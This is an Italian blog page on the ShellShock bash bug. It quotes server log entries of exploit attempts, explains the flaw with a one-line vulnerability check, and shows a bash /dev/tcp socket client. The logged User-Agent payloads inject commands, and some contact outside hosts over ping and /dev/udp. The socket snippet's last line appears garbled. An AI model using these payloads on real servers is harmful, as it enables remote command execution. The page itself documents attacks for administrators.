Tentativi di exploit di ShellShock

Poco tempo dopo l’annuncio di ShellShock i tentativi di hacking sono già iniziati.

Questa mattina i log di alcuni server che amministro rivelano quasi tutti l’accesso con masscan spiegato in questo articolo, ma si tratta di un’analisi, non di un tentativo vero e proprio di sfruttare la vulnerabilità. In questo caso la stringa richiesta via http è quella che si vede nell’articolo.

Anche il servizio di hosting Snel sta facendo passare la rete alla ricerca di host vulnerabili dall’IP 89.207.135.125:

“GET /cgi-sys/defaultwebpage.cgi HTTP/1.0” 404 63579 “-” “() { :;}; /bin/ping -c 1 198.101.206.138”

Un altro apparente test, ma con richieste più dettagliate arriva dall’IP 54.251.83.67 appartenente al cloud computing di Amazon:

“GET / HTTP/1.1” 200 4093 “-” “() { :;}; /bin/bash -c \”echo testing9123123\”; /bin/uname -a”

Altro tentativo dal 24.251.197.244, un IP di Cox:

“GET / HTTP/1.1” 200 208051 “-” “() { :; }; echo -e \”Content-Type: text/plain\\n\”; echo qQQQQQq”

Decisamente il meno amichevole di tutti il tentativo che proviene dall’IPv6 2001:4800:7812:514:1b50:2e05:ff04:c849 di un datacentre americano di RackSpace

“GET / HTTP/1.1” 200 208133 “-” “() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444”

Notare qui l’uso di /dev/udp descritto in questo articolo.

ShellShock

È stato scoperto un baco serio in bash, che consente, in determinate situazioni, ad un attaccante di eseguire programmi arbitrari sul computer della vittima (RCE, Remote Code Execution).

bash è probabilmente la shell più diffusa tra i sistemi *NIX, in quanto è la shell di default della gran parte delle distribuzioni Linux ed è la shell utilizzata da OSX.

La shell è il programma che permette all’utente di eseguire altri programmi, interagire con il file system e il sistema operativo ed eseguire altre azioni in relazione all’ambiente e al tipo di shell. Oltre a bash, gli ambienti *NIX hanno, tra le altre, zsh, csh, sh. La shell di Windows è Explorer.exe, prima di Windows c’era COMMAND.COM, che alcuni sostituivano con 4DOS.

Il metodo veloce per scoprire se una bash è vulnerabile è eseguire questo comando:

env x='() { :;}; echo vulnerabile' bash -c "echo io sono un test"

Se bash non ritorna un warning, ma scrive semplicemente vulnerabile e poi io sono un test, la bash è vulnerabile.

Innanzi tutto: non è vero che ogni computer che ha bash a bordo è vulnerabile per il fatto di avere bash a bordo.

Leggi tutto “ShellShock”

Client TCP o UDP con bash

        exec {fd}<>"/dev/tcp/siamogeek.com/http"
        # scrittura nel socket
        printf "GET / HTTP/1.0\r\n" >&$fd
        printf "\r\n" >&$fd
        # lettura "until EOF" dal socket
        cat &-

Questo breve script per bash permette di scrivere e leggere dei dati da un socket TCP o UDP senza dipendere dalla presenza di altri programmi.

Il tipo di protocollo, l’host e la porta sono specificati nella prima riga dello script; {fd} serve per dire a bash di aprire il primo file descriptor disponibile.

La parte di scrittura è conforme allo standard http e deve essere modificata secondo le necessità. (via behind the wall…)